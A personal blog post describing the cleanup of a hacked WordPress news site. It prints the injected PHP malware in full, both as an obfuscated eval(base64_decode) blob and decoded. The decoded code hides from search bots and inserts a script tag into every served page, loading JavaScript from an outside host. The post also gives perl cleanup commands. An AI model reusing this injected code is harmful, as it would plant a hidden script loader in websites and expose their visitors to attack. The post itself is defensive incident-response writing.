When WordPress Site was Hacked

Long time ago i opted to read news online avoiding wastage of newsprint and i bookmarked various news websites for reading news daily morning, and it became habit to checkout bookmarked websites early in the morning. Yesterday morning when i opened one of bookmarked website for news about himachal website was redirecting me to some interesting page, and this page was offering some exe for cleaning up virus from my computer. how funny .... site was saying me to clean virus from my linux laptop.. ha ha ha.. 

Investigating more about websites i found this was happening from the server side, i passed on a message to the website owner, as he was known to me, saying that something is breaking on his site. Later i got a call from website owner saying that some malicious code is added to each page on the webserver. Here is the code he has sent 

----code begins here----

<?php /**/ 
eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9z
dGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXsgICAk
R0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jdGlvbl9leGlz
dHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMo
J2dtbCcpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmICgh
c3RyaXN0cigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sImdv
b2dsZWJvdCIpJiYgKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VT
RVJfQUdFTlQiXSwieWFob28iKSkpeyAgICAgICByZXR1cm4gYmFz
ZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5
NlpYUjBZWEJsZEhSaExtTnZiUzlxY3k1d2FIQWlQand2YzJOeWFY
QjBQZz09Iik7ICAgICAgfSAgICAgIHJldHVybiAiIjsgICAgIH0g
ICAgfSAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNv
ZGUnKSl7ICAgICBmdW5jdGlvbiBnemRlY29kZSgkUjVBOUNGMUI0
OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDKXsgICAgICAkUjMwQjJB
QjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEPUBvcmQoQHN1YnN0
cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLDMs
MSkpOyAgICAgICRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1
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OTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9QHVucGFjaygndicsc3Vi
c3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMs
MTAsMikpOyAgICAgICAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdB
NEQ5MUUyOUVCPSRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkx
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ICAgaWYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1
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aWYoJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz09
PUZBTFNFKXsgICAgICAgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlB
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NjQ2ODRDOyAgICAgIH0gICAgICByZXR1cm4gJFIwMzRBRTJBQjk0
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QTdGQTZCNzhCKXsgICAgIEhlYWRlcignQ29udGVudC1FbmNvZGlu
Zzogbm9uZScpOyAgICAgJFJBMTc5QUJEM0E3QjlFMjhDMzY5RjdC
NTlDNTFCODFERT1nemRlY29kZSgkUkU4MkVFOUIxMjFGNzA5ODk1
RUY1NEVCQTdGQTZCNzhCKTsgICAgICAgaWYocHJlZ19tYXRjaCgn
L1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1
OUM1MUI4MURFKSl7ICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgn
LyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEn
LCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAg
ICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4
QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAg
b2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?>

----code ends here----

here is the expansion of decoded string 

----expansion starts here ----

:if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){ $GLOBALS['mr_no']=1; if(!function_exists('mrobh')){ if(!function_exists('gml')){ function gml(){ if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){ return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly96ZXR0YXBldHRhLmNvbS9qcy5waHAiPjwvc2NyaXB0Pg=="); } return ""; } } if(!function_exists('gzdecode')){ function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header('Content-Encoding: none'); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start('mrobh'); } }

----expansion ends here----

Well it will take some more time for me to understand this. later i was given shell access to this web server to check out the problem.. I used perl to remove this code from the php file ..

perl -p -i -e 's/.*=="\)\);\?>//g'

but this was not enough, website was giving errors even after this. It was hard time prior to this website was redirecting but now website was getting displayed without css, at this time i was more worried whole website was looking very ugly, I called up website owner and call was a relief for me, i was feeling owner might be unhappy with me for giving this ugly look to his website but his was calm which motivated me. Struggling some more with the php files for some other malicious code, I checked out error logs and found there was some problems in sending php headers, and i immediately remembered my college days when my php project stopped working because of one empty line was added in the login page. 

so i again executed following perl command to cleanup the empty lines.

perl -p -i -e 's/^\n//g'

and website was up again. 

here is the piece of code which can fix similar problem in one go, all you need to do is move to root directory of your webserver and execute

for i in `find ./* -name "*.php"`;do  if [ -f $i ];then perl -p -i -e 's/.*=="\)\);\?>[^.]*//g' $i ; perl -p -i -e 's/^\n//' $i ; fi done;

I have to use two regular expression as newline character was giving trouble to me. i would like to mention this expression will work for the above mentioned malicious code, you may have to tweek the expression if you have some other malicious code added to your word press site.

If you don't have shell access to webserver other solution to such problem can be updating wordpress, if you already have the latest version you get option of reinstalling wordpress which actually replaces all the affected php files and your affected php files with malicious code will be removed automatically. In case you you have custom theme you have to update your theme files also and also the plugins you are using in your wordpress site.

I am still confused how hacker was able to add this php code, as i dont have sudo access on the webserver could not get more things for you, will try to detect it somehow.. 

Happy Wordpress people.. Happy Open Source..